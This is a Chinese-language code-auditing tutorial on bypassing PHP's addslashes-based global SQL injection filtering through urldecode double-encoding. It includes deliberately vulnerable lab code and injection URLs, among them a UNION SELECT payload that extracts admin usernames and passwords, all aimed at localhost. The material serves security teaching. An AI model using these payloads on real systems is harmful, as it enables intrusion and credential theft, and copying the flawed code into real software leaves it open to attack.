代码审计的艺术系列—第二篇

0x01 前言

现在的WEB程序基本都有对SQL注入的全局过滤,运维人员配置PHP环境是一般会开启魔术引号GPC,即magic_quotes_gpc=On的情况下,如果输入的数据有单引号(’)、双引号(”)、反斜线(\)与 NUL(NULL 字符)等字符都会被加上反斜线进行转义处理。不过GPC在PHP5.4版本后就取消了,所以现在一般都用addslashes()函数来代替GPC进行过滤处理。目前用PHP开发的应用一般是MVC的框架模式进行开发,对GET、POST和COOKIE等传递的参数通常使用addslashes()函数进行转义,并引入一个类似common.php的文件进行处理addslashes()函数对接收的参数进行过滤,尤其是单引号。处理代码如下:

if (!empty($_GET))
{
$_GET  = addslashes_deep($_GET);
}
if (!empty($_POST))
{
$_POST = addslashes_deep($_POST);
}
if (!empty($_COOKIE))
{
$_COOKIE   = addslashes_deep($_COOKIE);
}
...
function addslashes_deep($value)
{
    if (empty($value))
    {
        return $value;
    }
    else
    {
		if (!get_magic_quotes_gpc())
		{
		$value=is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);
		}
		else
		{
		$value=is_array($value) ? array_map('addslashes_deep', $value) : mystrip_tags($value);
		}
		return $value;
    }
}

addslashes_deep函数会判断GPC是否开启,如果没有开启就会对GET、POST和COOKIE传递的参数进行转义。然而仅仅使用这种方式会存在很多绕过的情况。接下来两篇会介绍这种防护下的存在被绕过的一些场景和案例~,这里有几篇确定好。

0x02 准备

知识储备:php基础、MySql入门
工具:notepad++
服务器环境:wamp
测试代码和sql:微信回复『代码2』 需要更新。

0x03 全局防护Bypass上篇的脑图

代码审计艺术2-思维导图

0x04 编码解码函数导致的Bypass

一些编码解码的函数像urldecode、base64decode的使用会导致绕过addslashes函数的全局防护,以urldecode函数为例,缺陷代码如下:

<?php
require_once('common.php');
$conn = mysql_connect('localhost', 'root', 'braid') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
//这里使用了urldecode进行解码
$id = isset($_GET['id']) ? urldecode($_GET['id']) : 1;
//这里的sql语句有单引号保护,即特殊字符像单引号就会通过addslashes的处理
$sql = "SELECT * FROM news WHERE id='{$id}'";
$result = mysql_query($sql, $conn) or die(mysql_error()); 
?>

浏览器输入”http://localhost/sqltest/urldecode.php?id=1'",发现输出了一条新闻的标题和内容如下图:

代码审计2-1

说明单引号经过了addslashes函数的转义,我们查下sql查询的日志,确实是对单引号进行转义处理了:

SELECT * FROM news WHERE id='1\''

输入”http://localhost/sqltest/urldecode.php?id=1%2527",发现如下图的报错:
代码审计2-2
这种报错在安全测试人员眼里就是注入的标志。进一步观察数据库,发现除了news表外还有个admin表,我们可以构造获取管理员账户密码的语句”http://localhost/sqltest/urldecode.php?id=1%2527 union select 1,2,concat(name,0x23,pass) from admin%23”
代码审计2-3
对应执行的sql语句:

SELECT  SQL_CALC_FOUND_ROWS  *  FROM news WHERE id =  '-1' union  select 1 , 2, concat( name, 0x23, pass )  from admin

 

原创文章,转载请注明: 转载自安兔|anntoo.com 互联网安全新媒体平台

本文链接地址: 代码审计的艺术系列—第二篇

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值